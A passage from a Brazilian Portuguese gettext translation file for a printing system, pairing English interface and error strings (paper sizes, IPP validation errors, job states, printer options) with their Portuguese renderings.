msgid "16"
msgstr "16"

msgid "17"
msgstr "17"

msgid "18"
msgstr "18"

msgid "180dpi"
msgstr "180dpi"

msgid "19"
msgstr "19"

msgid "2"
msgstr "2"

msgid "2 inches/sec."
msgstr "2 pol/s"

msgid "2-Sided Printing"
msgstr "Frente e Verso"

msgid "2.00x0.37\""
msgstr "2.00x0.37\""

msgid "2.00x0.50\""
msgstr "2.00x0.50\""

msgid "2.00x1.00\""
msgstr "2.00x1.00\""

msgid "2.00x1.25\""
msgstr "2.00x1.25\""

msgid "2.00x2.00\""
msgstr "2.00x2.00\""

msgid "2.00x3.00\""
msgstr "2.00x3.00\""

msgid "2.00x4.00\""
msgstr "2.00x4.00\""

msgid "2.00x5.50\""
msgstr "2.00x5.50\""

msgid "2.25x0.50\""
msgstr "2.25x0.50\""

msgid "2.25x1.25\""
msgstr "2.25x1.25\""

msgid "2.25x4.00\""
msgstr "2.25x4.00\""

msgid "2.25x5.50\""
msgstr "2.25x5.50\""

msgid "2.38x5.50\""
msgstr "2.38x5.50\""

msgid "2.5 inches/sec."
msgstr "2.5 pol/s"

msgid "2.50x1.00\""
msgstr "2.50x1.00\""

msgid "2.50x2.00\""
msgstr "2.50x2.00\""

msgid "2.75x1.25\""
msgstr "2.75x1.25\""

msgid "2.9 x 1\""
msgstr "2.9 x 1\""

msgid "20"
msgstr "20"

msgid "20 mm/sec."
msgstr "20 mm/s"

msgid "200 mm/sec."
msgstr "200 mm/s"

msgid "203dpi"
msgstr "203dpi"

msgid "21"
msgstr "21"

msgid "22"
msgstr "22"

msgid "23"
msgstr "23"

msgid "24"
msgstr "24"

msgid "24-Pin Series"
msgstr "Séries de 24 agulhas"

msgid "240x72dpi"
msgstr "240x72dpi"

msgid "25"
msgstr "25"

msgid "250 mm/sec."
msgstr "250 mm/s"

msgid "26"
msgstr "26"

msgid "27"
msgstr "27"

msgid "28"
msgstr "28"

msgid "29"
msgstr "29"

msgid "3"
msgstr "3"

msgid "3 inches/sec."
msgstr "3 pol/s"

msgid "3 x 5"
msgstr "3 x 5"

msgid "3.00x1.00\""
msgstr "3.00x1.00\""

msgid "3.00x1.25\""
msgstr "3.00x1.25\""

msgid "3.00x2.00\""
msgstr "3.00x2.00\""

msgid "3.00x3.00\""
msgstr "3.00x3.00\""

msgid "3.00x5.00\""
msgstr "3.00x5.00\""

msgid "3.25x2.00\""
msgstr "3.25x2.00\""

msgid "3.25x5.00\""
msgstr "3.25x5.00\""

msgid "3.25x5.50\""
msgstr "3.25x5.50\""

msgid "3.25x5.83\""
msgstr "3.25x5.83\""

msgid "3.25x7.83\""
msgstr "3.25x7.83\""

msgid "3.5 x 5"
msgstr "3.5 x 5"

msgid "3.5\" Disk"
msgstr "Disco de 3.5\""

msgid "3.50x1.00\""
msgstr "3.50x1.00\""

msgid "30"
msgstr "30"

msgid "30 mm/sec."
msgstr "30 mm/s"

msgid "300 mm/sec."
msgstr "300 mm/s"

msgid "300dpi"
msgstr "300dpi"

msgid "35"
msgstr "35"

msgid "360dpi"
msgstr "360dpi"

msgid "360x180dpi"
msgstr "360x180dpi"

msgid "4"
msgstr "4"

msgid "4 inches/sec."
msgstr "4 pol/s"

msgid "4.00x1.00\""
msgstr "4.00x1.00\""

msgid "4.00x13.00\""
msgstr "4.00x13.00\""

msgid "4.00x2.00\""
msgstr "4.00x2.00\""

msgid "4.00x2.50\""
msgstr "4.00x2.50\""

msgid "4.00x3.00\""
msgstr "4.00x3.00\""

msgid "4.00x4.00\""
msgstr "4.00x4.00\""

msgid "4.00x5.00\""
msgstr "4.00x5.00\""

msgid "4.00x6.00\""
msgstr "4.00x6.00\""

msgid "4.00x6.50\""
msgstr "4.00x6.50\""

msgid "40"
msgstr "40"

msgid "40 mm/sec."
msgstr "40 mm/s"

msgid "45"
msgstr "45"

msgid "5"
msgstr "5"

msgid "5 inches/sec."
msgstr "5 pol/s"

msgid "5 x 7"
msgstr "5 x 7"

msgid "50"
msgstr "50"

msgid "55"
msgstr "55"

msgid "6"
msgstr "6"

msgid "6 inches/sec."
msgstr "6 pol/s"

msgid "6.00x1.00\""
msgstr "6.00x1.00\""

msgid "6.00x2.00\""
msgstr "6.00x2.00\""

msgid "6.00x3.00\""
msgstr "6.00x3.00\""

msgid "6.00x4.00\""
msgstr "6.00x4.00\""

msgid "6.00x5.00\""
msgstr "6.00x5.00\""

msgid "6.00x6.00\""
msgstr "6.00x6.00\""

msgid "6.00x6.50\""
msgstr "6.00x6.50\""

msgid "60"
msgstr "60"

msgid "60 mm/sec."
msgstr "60 mm/s"

msgid "600dpi"
msgstr "600dpi"

msgid "60dpi"
msgstr "60dpi"

msgid "60x72dpi"
msgstr "60x72dpi"

msgid "65"
msgstr "65"

msgid "7"
msgstr "7"

msgid "7 inches/sec."
msgstr "7 pol/s"

msgid "7 x 9"
msgstr "7 x 9"

msgid "70"
msgstr "70"

msgid "720dpi"
msgstr "720dpi"

msgid "75"
msgstr "75"

msgid "8"
msgstr "8"

msgid "8 inches/sec."
msgstr "8 pol/s"

msgid "8 x 10"
msgstr "8 x 10"

msgid "8.00x1.00\""
msgstr "8.00x1.00\""

msgid "8.00x2.00\""
msgstr "8.00x2.00\""

msgid "8.00x3.00\""
msgstr "8.00x3.00\""

msgid "8.00x4.00\""
msgstr "8.00x4.00\""

msgid "8.00x5.00\""
msgstr "8.00x5.00\""

msgid "8.00x6.00\""
msgstr "8.00x6.00\""

msgid "8.00x6.50\""
msgstr "8.00x6.50\""

msgid "80"
msgstr "80"

msgid "80 mm/sec."
msgstr "80 mm/s"

msgid "85"
msgstr "85"

msgid "9"
msgstr "9"

msgid "9 inches/sec."
msgstr "9 pol/s"

msgid "9 x 11"
msgstr "9 x 11"

msgid "9 x 12"
msgstr "9 x 12"

msgid "9-Pin Series"
msgstr "Série de 9 agulhas"

msgid "90"
msgstr "90"

msgid "95"
msgstr "95"

msgid "?Invalid help command unknown."
msgstr "?Comando de ajuda inválido desconhecido."

msgid "A Samba password is required to export printer drivers"
msgstr "Uma senha do Samba é necessária para exportar drivers de impressora"

msgid "A Samba username is required to export printer drivers"
msgstr ""
"Um nome de usuário do Samba é necessário para exportar drivers de impressora"

#, c-format
msgid "A class named \"%s\" already exists."
msgstr "Uma classe chamada \"%s\" já existe."

#, c-format
msgid "A printer named \"%s\" already exists."
msgstr "Uma impressora chamada \"%s\" já existe."

msgid "A0"
msgstr "A0"

msgid "A0 Long Edge"
msgstr "A0 borda maior"

msgid "A1"
msgstr "A1"

msgid "A1 Long Edge"
msgstr "A1 borda maior"

msgid "A10"
msgstr "A10"

msgid "A2"
msgstr "A2"

msgid "A2 Long Edge"
msgstr "A2 borda maior"

msgid "A3"
msgstr "A3"

msgid "A3 Long Edge"
msgstr "A3 borda maior"

msgid "A3 Oversize"
msgstr "A3 grande"

msgid "A3 Oversize Long Edge"
msgstr "A3 borda muito maior"

msgid "A4"
msgstr "A4"

msgid "A4 Long Edge"
msgstr "A4 borda maior"

msgid "A4 Oversize"
msgstr "A4 grande"

msgid "A4 Small"
msgstr "A4 pequeno"

msgid "A5"
msgstr "A5"

msgid "A5 Long Edge"
msgstr "A5 borda maior"

msgid "A5 Oversize"
msgstr "A5 grande"

msgid "A6"
msgstr "A6"

msgid "A6 Long Edge"
msgstr "A6 borda maior"

msgid "A7"
msgstr "A7"

msgid "A8"
msgstr "A8"

msgid "A9"
msgstr "A9"

msgid "ANSI A"
msgstr "ANSI A"

msgid "ANSI B"
msgstr "ANSI B"

msgid "ANSI C"
msgstr "ANSI C"

msgid "ANSI D"
msgstr "ANSI D"

msgid "ANSI E"
msgstr "ANSI E"

msgid "ARCH C"
msgstr "ARCH C"

msgid "ARCH C Long Edge"
msgstr "ARCH C borda maior"

msgid "ARCH D"
msgstr "ARCH D"

msgid "ARCH D Long Edge"
msgstr "ARCH D borda maior"

msgid "ARCH E"
msgstr "ARCH E"

msgid "ARCH E Long Edge"
msgstr "ARCH E borda maior"

msgid "Accept Jobs"
msgstr "Aceitando trabalhos"

msgid "Accepted"
msgstr "Aceitou"

msgid "Add Class"
msgstr "Adicionar classe"

msgid "Add Printer"
msgstr "Adicionar impressora"

msgid "Add RSS Subscription"
msgstr "Adicionar inscrição RSS"

msgid "Address"
msgstr "Endereço"

msgid "Administration"
msgstr "Administração"

msgid "Always"
msgstr "Sempre"

msgid "AppSocket/HP JetDirect"
msgstr "AppSocket/HP JetDirect"

msgid "Applicator"
msgstr "Aplicador"

#, c-format
msgid "Attempt to set %s printer-state to bad value %d."
msgstr ""
"Tentativa de definir o estado da impressora %s para o valor inválido %d."

#, c-format
msgid "Attribute groups are out of order (%x < %x)."
msgstr "Grupos de atributos estão fora de ordem (%x < %x)."

msgid "B0"
msgstr "B0"

msgid "B1"
msgstr "B1"

msgid "B10"
msgstr "B10"

msgid "B2"
msgstr "B2"

msgid "B3"
msgstr "B3"

msgid "B4"
msgstr "B4"

msgid "B5"
msgstr "B5"

msgid "B5 Oversize"
msgstr "B5 grande"

msgid "B6"
msgstr "B6"

msgid "B7"
msgstr "B7"

msgid "B8"
msgstr "B8"

msgid "B9"
msgstr "B9"

#, c-format
msgid "Bad 'document-format' value \"%s\"."
msgstr "Valor de \"document-format\" inválido \"%s\"."

msgid "Bad NULL dests pointer"
msgstr "Ponteiro de destinatário NULO inválido"

msgid "Bad OpenGroup"
msgstr "OpenGroup inválido"

msgid "Bad OpenUI/JCLOpenUI"
msgstr "OpenUI/JCLOpenUI inválido"

msgid "Bad OrderDependency"
msgstr "OrderDependency inválido"

msgid "Bad PPD cache file."
msgstr "Arquivo de cache de PPD inválido."

msgid "Bad Request"
msgstr "Requisição inválida"

msgid "Bad SNMP version number"
msgstr "Número de versão SNMP inválido"

msgid "Bad UIConstraints"
msgstr "UIConstraints inválido"

#, c-format
msgid "Bad copies value %d."
msgstr "Valor de cópias inválido %d."

msgid "Bad custom parameter"
msgstr "Parâmetro personalizado inválido"

#, c-format
msgid "Bad device-uri \"%s\"."
msgstr "device-uri inválido \"%s\"."

#, c-format
msgid "Bad device-uri scheme \"%s\"."
msgstr "Esquema device-uri inválido \"%s\"."

#, c-format
msgid "Bad document-format \"%s\"."
msgstr "document-format inválido \"%s\"."

#, c-format
msgid "Bad document-format-default \"%s\"."
msgstr "document-format-default inválido \"%s\"."

msgid "Bad filename buffer"
msgstr "Buffer de nome de arquivo inválido"

#, c-format
msgid "Bad job-name value: %s"
msgstr "Valor de job-name inválido: %s"

msgid "Bad job-name value: Wrong type or count."
msgstr "Valor de job-name inválido: Quantidade ou tipo inválido."

msgid "Bad job-priority value."
msgstr "Valor job-priority inválido."

#, c-format
msgid "Bad job-sheets value \"%s\"."
msgstr "Valor de job-sheets inválido \"%s\"."

msgid "Bad job-sheets value type."
msgstr "Tipo de valor de job-sheets inválido."

msgid "Bad job-state value."
msgstr "Valor de job-state inválido."

#, c-format
msgid "Bad job-uri \"%s\"."
msgstr "job-uri inválido \"%s\"."

#, c-format
msgid "Bad notify-pull-method \"%s\"."
msgstr "notify-pull-method inválido \"%s\"."

#, c-format
msgid "Bad notify-recipient-uri \"%s\"."
msgstr "notify-recipient-uri inválido \"%s\"."

#, c-format
msgid "Bad number-up value %d."
msgstr "Valor de number-up inválido %d."

#, c-format
msgid "Bad option + choice on line %d."
msgstr "Opção + escolha inválidas na linha %d."

#, c-format
msgid "Bad page-ranges values %d-%d."
msgstr "Valor de page-ranges inválido %d-%d."

#, c-format
msgid "Bad port-monitor \"%s\"."
msgstr "port-monitor inválido \"%s\"."

msgid "Bad printer URI."
msgstr "URI de impressora inválido."

#, c-format
msgid "Bad printer-state value %d."
msgstr "Valor de printer-state inválido %d."

#, c-format
msgid "Bad request ID %d."
msgstr "ID da requisição inválido %d."

#, c-format
msgid "Bad request version number %d.%d."
msgstr "Número da versão de requisição inválido %d.%d."

msgid "Bad subscription ID"
msgstr "ID de inscrição inválido"

msgid "Bad value string"
msgstr "String de valor inválido"

msgid "Banners"
msgstr "Banners"

msgid "Bond Paper"
msgstr "Papel autocolante"

#, c-format
msgid "Boolean expected for waiteof option \"%s\"."
msgstr "Esperava booleano para opção waiteof \"%s\"."

msgid "Buffer overflow detected, aborting."
msgstr "Estouro de pilha do buffer detectado, abortando."

msgid "CMYK"
msgstr "CMYK"

msgid "CPCL Label Printer"
msgstr "Impressora de etiqueta CPCL"

msgid "Cancel RSS Subscription"
msgstr "Cancelar inscrição RSS"

msgid "Canceling print job."
msgstr "Cancelando trabalho de impressão."

msgid "Cannot share a remote Kerberized printer."
msgstr "Não foi possível compartilhar uma impressora remota via Kerberos."

msgid "Cassette"
msgstr "Cassette"

msgid "Change Settings"
msgstr "Alterar configurações"

#, c-format
msgid "Character set \"%s\" not supported."
msgstr "Conjunto de caracteres \"%s\" não é suportado."

msgid "Classes"
msgstr "Classes"

msgid "Clean Print Heads"
msgstr "Limpar cabeça de impressão"

msgid "Close-Job doesn't support the job-uri attribute."
msgstr "Close-Job não suporta o atributo job-uri."

msgid "Color"
msgstr "Cor"

msgid "Color Mode"
msgstr "Modo colorido"

msgid ""
"Commands may be abbreviated.  Commands are:\n"
"\n"
"exit    help    quit    status  ?"
msgstr ""
"Comandos podem ser abreviados. Os comandos são:\n"
"\n"
"exit    help    quit    status  ?"

msgid "Community name uses indefinite length"
msgstr "Nome da comunidade usa comprimento indefinido"

msgid "Connected to printer."
msgstr "Conectado à impressora."

msgid "Connecting to printer."
msgstr "Conectando à impressora."

msgid "Continue"
msgstr "Continuar"

msgid "Continuous"
msgstr "Contínuo"

msgid "Control file sent successfully."
msgstr "Arquivo de controle enviado com sucesso."

msgid "Copying print data."
msgstr "Copiando dados de impressão."

msgid "Created"
msgstr "Criada"

msgid "Custom"
msgstr "Personalizar"

msgid "CustominCutInterval"
msgstr "CustominCutInterval"

msgid "CustominTearInterval"
msgstr "CustominTearInterval"

msgid "Cut"
msgstr "Cortar"

msgid "Cutter"
msgstr "Cortador"

msgid "Dark"
msgstr "Escuro"

msgid "Darkness"
msgstr "Escuridão"

msgid "Data file sent successfully."
msgstr "Arquivo de dados enviado com sucesso."

msgid "Delete Class"
msgstr "Excluir classe"

msgid "Delete Printer"
msgstr "Excluir impressora"

msgid "DeskJet Series"
msgstr "DeskJet Séries"

#, c-format
msgid "Destination \"%s\" is not accepting jobs."
msgstr "Destino \"%s\" não está aceitando trabalhos."

#, c-format
msgid ""
"Device: uri = %s\n"
"        class = %s\n"
"        info = %s\n"
"        make-and-model = %s\n"
"        device-id = %s\n"
"        location = %s"
msgstr ""
"Dispositivo: uri = %s\n"
"             classe = %s\n"
"             info = %s\n"
"             marca-e-modelo = %s\n"
"             dispo-id = %s\n"
"             localização = %s"

msgid "Direct Thermal Media"
msgstr "Mídia Térmica Direta"

#, c-format
msgid "Directory \"%s\" contains a relative path."
msgstr "Diretório \"%s\" contém um caminho relativo."

#, c-format
msgid "Directory \"%s\" has insecure permissions (0%o/uid=%d/gid=%d)."
msgstr "Diretório \"%s\" contém permissões inseguras (0%o/uid=%d/gid=%d)."

#, c-format
msgid "Directory \"%s\" is a file."
msgstr "Diretório \"%s\" é um arquivo."

#, c-format
msgid "Directory \"%s\" not available: %s"
msgstr "Diretório \"%s\" não está disponível: %s"

#, c-format
msgid "Directory \"%s\" permissions OK (0%o/uid=%d/gid=%d)."
msgstr "Permissões do diretório \"%s\" estão OK (0%o/uid=%d/gid=%d)."

msgid "Disabled"
msgstr "Desabilitado"

#, c-format
msgid "Document #%d does not exist in job #%d."
msgstr "Documento #%d não existe no trabalho #%d."

msgid "Duplexer"
msgstr "Duplexador"

msgid "Dymo"
msgstr "Dymo"

msgid "EPL1 Label Printer"
msgstr "Impressora de etiqueta EPL1"

msgid "EPL2 Label Printer"
msgstr "Impressora de etiqueta EPL2"

msgid "Edit Configuration File"
msgstr "Editar arquivo de configuração"

msgid "Empty PPD file."
msgstr "Arquivo PPD vazio."

#. TRANSLATORS: Banner/cover sheet after the print job.
msgid "Ending Banner"
msgstr "Banner ao final"

msgid "English"
msgstr "Inglês"

msgid "Enter old password:"
msgstr "Digite a senha antiga:"

msgid "Enter password again:"
msgstr "Digite sua senha novamente:"

msgid "Enter password:"
msgstr "Digite a senha:"

msgid ""
"Enter your username and password or the root username and password to access "
"this page. If you are using Kerberos authentication, make sure you have a "
"valid Kerberos ticket."
msgstr ""
"Digite seu nome de usuário e senha, ou do usuário root, para acessar esta "
"página. Se você estiver usando autenticação Kerberos, certifique-se de que "
"você tem um ticket Kerberos válido."

msgid "Envelope #10 "
msgstr "Envelope #10 "

msgid "Envelope #11"
msgstr "Envelope #11"

msgid "Envelope #12"
msgstr "Envelope #12"

msgid "Envelope #14"
msgstr "Envelope #14"

msgid "Envelope #9"
msgstr "Envelope #9"

msgid "Envelope B4"
msgstr "Envelope B4"

msgid "Envelope B5"
msgstr "Envelope B5"

msgid "Envelope B6"
msgstr "Envelope B6"

msgid "Envelope C0"
msgstr "Envelope C0"

msgid "Envelope C1"
msgstr "Envelope C1"

msgid "Envelope C2"
msgstr "Envelope C2"

msgid "Envelope C3"
msgstr "Envelope C3"

msgid "Envelope C4"
msgstr "Envelope C4"

msgid "Envelope C5"
msgstr "Envelope C5"

msgid "Envelope C6"
msgstr "Envelope C6"

msgid "Envelope C65"
msgstr "Envelope C65"

msgid "Envelope C7"
msgstr "Envelope C7"

msgid "Envelope Choukei 3"
msgstr "Envelope Choukei 3"

msgid "Envelope Choukei 3 Long Edge"
msgstr "Envelope Choukei 3 borda maior"

msgid "Envelope Choukei 4"
msgstr "Envelope Choukei 4"

msgid "Envelope Choukei 4 Long Edge"
msgstr "Envelope Choukei 4 borda maior"

msgid "Envelope DL"
msgstr "Envelope DL"

msgid "Envelope Feed"
msgstr "Alimentação de Envelope"

msgid "Envelope Invite"
msgstr "Envelope Convite"

msgid "Envelope Italian"
msgstr "Envelope Italiano"

msgid "Envelope Kaku2"
msgstr "Envelope Kaku2"

msgid "Envelope Kaku2 Long Edge"
msgstr "Envelope Kaku2 borda maior"

msgid "Envelope Kaku3"
msgstr "Envelope Kaku3"

msgid "Envelope Kaku3 Long Edge"
msgstr "Envelope Kaku3 borda maior"

msgid "Envelope Monarch"
msgstr "Envelope Monarch"

msgid "Envelope PRC1 "
msgstr "Envelope PRC1 "

msgid "Envelope PRC1 Long Edge"
msgstr "Envelope PRC1 borda maior"

msgid "Envelope PRC10"
msgstr "Envelope PRC10"

msgid "Envelope PRC10 Long Edge"
msgstr "Envelope PRC10 borda maior"

msgid "Envelope PRC2"
msgstr "Envelope PRC2"

msgid "Envelope PRC2 Long Edge"
msgstr "Envelope PRC2 borda maior"

msgid "Envelope PRC3"
msgstr "Envelope PRC3"

msgid "Envelope PRC3 Long Edge"
msgstr "Envelope PRC3 borda maior"

msgid "Envelope PRC4"
msgstr "Envelope PRC4"

msgid "Envelope PRC4 Long Edge"
msgstr "Envelope PRC4 borda maior"

msgid "Envelope PRC5 Long Edge"
msgstr "Envelope PRC5 borda maior"

msgid "Envelope PRC5PRC5"
msgstr "Envelope PRC5"

msgid "Envelope PRC6"
msgstr "Envelope PRC6"

msgid "Envelope PRC6 Long Edge"
msgstr "Envelope PRC6 borda maior"

msgid "Envelope PRC7"
msgstr "Envelope PRC7"

msgid "Envelope PRC7 Long Edge"
msgstr "Envelope PRC7 borda maior"

msgid "Envelope PRC8"
msgstr "Envelope PRC8"

msgid "Envelope PRC8 Long Edge"
msgstr "Envelope PRC8 borda maior"

msgid "Envelope PRC9"
msgstr "Envelope PRC9"

msgid "Envelope PRC9 Long Edge"
msgstr "Envelope PRC9 borda maior"

msgid "Envelope Personal"
msgstr "Envelope Pessoal"

msgid "Envelope You4"
msgstr "Envelope You4"

msgid "Envelope You4 Long Edge"
msgstr "Envelope You4 borda maior"

msgid "Environment Variables:"
msgstr "Variáveis de ambiente:"

msgid "Epson"
msgstr "Epson"

msgid "Error Policy"
msgstr "Política de erro"

msgid "Error sending raster data."
msgstr "Erro ao enviar dados de rasterização."

msgid "Error: need hostname after \"-h\" option."
msgstr "Erro: precisa de nome da máquina após a opção \"-h\"."

msgid "Every 10 Labels"
msgstr "A cada 10 etiquetas"

msgid "Every 2 Labels"
msgstr "A cada 2 etiquetas"

msgid "Every 3 Labels"
msgstr "A cada 3 etiquetas"

msgid "Every 4 Labels"
msgstr "A cada 4 etiquetas"

msgid "Every 5 Labels"
msgstr "A cada 5 etiquetas"

msgid "Every 6 Labels"
msgstr "A cada 6 etiquetas"

msgid "Every 7 Labels"
msgstr "A cada 7 etiquetas"

msgid "Every 8 Labels"
msgstr "A cada 8 etiquetas"

msgid "Every 9 Labels"
msgstr "A cada 9 etiquetas"

msgid "Every Label"
msgstr "A cada etiqueta"

msgid "Executive"
msgstr "Executivo"

msgid "Expectation Failed"
msgstr "Falhou a expectativa"

msgid "Export Printers to Samba"
msgstr "Exportar impressoras para o Samba"

msgid "Expressions:"
msgstr "Expressões:"

msgid "FAIL"
msgstr "FALHA"

msgid "FanFold German"
msgstr "FanFold German"

msgid "FanFold Legal German"
msgstr "FanFold Legal German"

msgid "Fanfold US"
msgstr "Fanfold US"

#, c-format
msgid "File \"%s\" contains a relative path."
msgstr "Arquivo \"%s\" contém um caminho relativo."

#, c-format
msgid "File \"%s\" has insecure permissions (0%o/uid=%d/gid=%d)."
msgstr "Arquivo \"%s\" tem permissões inseguras (0%o/uid=%d/gid=%d)."

#, c-format
msgid "File \"%s\" is a directory."
msgstr "Arquivo \"%s\" é um diretório."

#, c-format
msgid "File \"%s\" not available: %s"
msgstr "Arquivo \"%s\" não está disponível: %s"

#, c-format
msgid "File \"%s\" permissions OK (0%o/uid=%d/gid=%d)."
msgstr "Permissões do arquivo \"%s\" estão OK (0%o/uid=%d/gid=%d)."

msgid "File Folder "
msgstr "Pasta do arquivo "

#, c-format
msgid ""
"File device URIs have been disabled. To enable, see the FileDevice directive "
"in \"%s/cups-files.conf\"."
msgstr ""
"URIs de arquivos de dispositivo foram desabilitadas. Para habilitar, veja a "
"diretiva FileDevice em \"%s/cups-files.conf\"."

#, c-format
msgid "Finished page %d."
msgstr "Terminou página %d."

msgid "Folio"
msgstr "Fólio"

msgid "Forbidden"
msgstr "Proibido"

msgid "General"
msgstr "Geral"

msgid "Generic"
msgstr "Genérico"

msgid "Get-Response-PDU uses indefinite length"
msgstr "Get-Response-PDU usa comprimento indefinido"

msgid "Glossy Paper"
msgstr "Papel brilhante"

msgid "Got a printer-uri attribute but no job-id."
msgstr "Atributo printer-ui obtido, mas nenhum job-id."

msgid "Grayscale"
msgstr "Escalas de cinza"

msgid "HP"
msgstr "HP"

msgid "Hanging Folder"
msgstr "Pasta suspensa"

msgid "Help file not in index."
msgstr "Arquivo de ajuda não está no índice."

msgid "IPP 1setOf attribute with incompatible value tags."
msgstr "Atributo 1setOf de IPP com tags de valor incompatível."

msgid "IPP attribute has no name."
msgstr "Atributo de IPP não tem nome."

msgid "IPP attribute is not a member of the message."
msgstr "Atributo de IPP não é um membro da mensagem."

msgid "IPP begCollection value not 0 bytes."
msgstr "Valor begCollection de IPP não contém 0 bytes."

msgid "IPP boolean value not 1 byte."
msgstr "Valor booleano de IPP não contém 1 byte."

msgid "IPP date value not 11 bytes."
msgstr "Valor de data de IPP não contém 11 bytes."

msgid "IPP endCollection value not 0 bytes."
msgstr "Valor endCollection IPP não contém 0 bytes."

msgid "IPP enum value not 4 bytes."
msgstr "Valor enum de IPP não contém 4 bytes."

msgid "IPP extension tag larger than 0x7FFFFFFF."
msgstr "Tag de extensão de IPP maior do que 0x7FFFFFFF."

msgid "IPP integer value not 4 bytes."
msgstr "Valor inteiro de IPP não contém 4 bytes."

msgid "IPP language length overflows value."
msgstr "Comprimento do idioma de IPP excede o valor."

msgid "IPP language length too large."
msgstr "Comprimento do idioma de IPP muito grande."

msgid "IPP member name is not empty."
msgstr "Nome de membro de IPP não está vazio."

msgid "IPP memberName value is empty."
msgstr "Valor de memberName de IPP está vazio."

msgid "IPP memberName with no attribute."
msgstr "memberName de IPP sem atributo algum."

msgid "IPP name larger than 32767 bytes."
msgstr "Nome de IPP maior do que 32767 bytes."

msgid "IPP nameWithLanguage value less than minimum 4 bytes."
msgstr "Valor de nameWithLanguage de IPP menor do que o mínimo de 4 bytes."

msgid "IPP octetString length too large."
msgstr "Comprimento de octetString de IPP muito grande."

msgid "IPP rangeOfInteger value not 8 bytes."
msgstr "Valor de rangeOfInteger de IPP não contém 8 bytes."

msgid "IPP resolution value not 9 bytes."
msgstr "Valor de resolução de IPP não contém 9 bytes."

msgid "IPP string length overflows value."
msgstr "Comprimento da string de IPP excede o valor."

msgid "IPP textWithLanguage value less than minimum 4 bytes."
msgstr "Valor de textWithLanguage de IPP menor do que o mínimo de 4 bytes."

msgid "IPP value larger than 32767 bytes."
msgstr "Valor de IPP maior do que 32767 bytes."

msgid "ISOLatin1"
msgstr "ISOLatin1"

msgid "Illegal control character"
msgstr "Caractere de controle é ilegal"

msgid "Illegal main keyword string"
msgstr "String ilegal de palavra-chave principal"

msgid "Illegal option keyword string"
msgstr "String ilegal de palavra-chave de opção"

msgid "Illegal translation string"
msgstr "String ilegal de tradução"

msgid "Illegal whitespace character"
msgstr "Caractere ilegal de espaço em branco"

msgid "Installable Options"
msgstr "Opções instaláveis"

msgid "Installed"
msgstr "Instalada"

msgid "IntelliBar Label Printer"
msgstr "Impressora de etiqueta IntelliBar"

msgid "Intellitech"
msgstr "Intellitech"

msgid "Internal Server Error"
msgstr "Erro interno de servidor"

msgid "Internal error"
msgstr "Erro interno"

msgid "Internet Postage 2-Part"
msgstr "Internet Postage Parte-2"

msgid "Internet Postage 3-Part"
msgstr "Internet Postage Parte-3"

msgid "Internet Printing Protocol"
msgstr "Protocolo de Impressão para Internet"

msgid "Invalid media name arguments."
msgstr "Argumentos de nome de mídia inválidos."

msgid "Invalid media size."
msgstr "Tamanho de mídia inválido."

#, c-format
msgid "Invalid printer command \"%s\"."
msgstr "Comando de impressora \"%s\" inválido."

msgid "JCL"
msgstr "JCL"

msgid "JIS B0"
msgstr "JIS B0"

msgid "JIS B1"
msgstr "JIS B1"

msgid "JIS B10"
msgstr "JIS B10"

msgid "JIS B2"
msgstr "JIS B2"

msgid "JIS B3"
msgstr "JIS B3"

msgid "JIS B4"
msgstr "JIS B4"

msgid "JIS B4 Long Edge"
msgstr "JIS B4 borda maior"

msgid "JIS B5"
msgstr "JIS B5"

msgid "JIS B5 Long Edge"
msgstr "JIS B5 borda maior"

msgid "JIS B6"
msgstr "JIS B6"

msgid "JIS B6 Long Edge"
msgstr "JIS B6 borda maior"

msgid "JIS B7"
msgstr "JIS B7"

msgid "JIS B8"
msgstr "JIS B8"

msgid "JIS B9"
msgstr "JIS B9"

#, c-format
msgid "Job #%d cannot be restarted - no files."
msgstr "O trabalho #%d não pode ser reiniciado - nenhum arquivo."

#, c-format
msgid "Job #%d does not exist."
msgstr "Trabalho #%d não existe."

#, c-format
msgid "Job #%d is already aborted - can't cancel."
msgstr "Trabalho #%d já foi abortado - não é possível cancelar."

#, c-format
msgid "Job #%d is already canceled - can't cancel."
msgstr "Trabalho #%d já foi cancelado - não é possível cancelar."

#, c-format
msgid "Job #%d is already completed - can't cancel."
msgstr "Trabalho #%d já concluiu - não é possível cancelar."

#, c-format
msgid "Job #%d is finished and cannot be altered."
msgstr "Trabalho #%d já finalizou e não pode ser alterado."

#, c-format
msgid "Job #%d is not complete."
msgstr "Trabalho #%d não concluiu."

#, c-format
msgid "Job #%d is not held for authentication."
msgstr "Trabalho #%d não está agarrado para autenticação."

#, c-format
msgid "Job #%d is not held."
msgstr "Trabalho #%d não está agarrado."

msgid "Job Completed"
msgstr "Trabalho concluiu"

msgid "Job Created"
msgstr "Trabalho criado"

msgid "Job Options Changed"
msgstr "Opções do trabalho alteradas"

msgid "Job Stopped"
msgstr "Trabalho parou"

msgid "Job is completed and cannot be changed."
msgstr "Trabalho está concluído e não pode ser alterado."

msgid "Job operation failed"
msgstr "Operação do trabalho falhou"

msgid "Job state cannot be changed."
msgstr "Estado do trabalho não pode ser alterado."

msgid "Job subscriptions cannot be renewed."
msgstr "Inscrições de trabalho não podem ser renovadas."

msgid "Jobs"
msgstr "Trabalhos"

msgid "LPD/LPR Host or Printer"
msgstr "Impressora ou máquina LPD/LPR"

msgid "Label Printer"
msgstr "Impressora de etiqueta"

msgid "Label Top"
msgstr "Parte superior da etiqueta"

#, c-format
msgid "Language \"%s\" not supported."
msgstr "Idioma \"%s\" não suportado."

msgid "Large Address"
msgstr "Endereço grande"

msgid "LaserJet Series PCL 4/5"
msgstr "LaserJet Series PCL 4/5"

msgid "Letter Oversize"
msgstr "Carta grande"

msgid "Letter Oversize Long Edge"
msgstr "Carta borda muito maior"

msgid "Light"
msgstr "Leve"

msgid "Line longer than the maximum allowed (255 characters)"
msgstr "Linha maior do que o máximo permitido (255 caracteres)"

msgid "List Available Printers"
msgstr "Lista de impressoras disponíveis"

msgid "Long-Edge (Portrait)"
msgstr "Borda maior (retrato)"

msgid "Looking for printer."
msgstr "Procurando impressoras."

msgid "Manual Feed"
msgstr "Alimentação manual"

msgid "Media Size"
msgstr "Tamanho de mídia"

msgid "Media Source"
msgstr "Fonte de mídia"

msgid "Media Tracking"
msgstr "Rastreamento de mídia"

msgid "Media Type"
msgstr "Tipo de mídia"

msgid "Medium"
msgstr "Médio"

msgid "Memory allocation error"
msgstr "Erro de alocação de memória"

msgid "Missing CloseGroup"
msgstr "Faltando CloseGroup"

msgid "Missing PPD-Adobe-4.x header"
msgstr "Faltando cabeçalho PPD-Adobe-4.x"

msgid "Missing asterisk in column 1"
msgstr "Faltando asterisco na coluna 1"

msgid "Missing document-number attribute."
msgstr "Faltando atributo document-number."

#, c-format
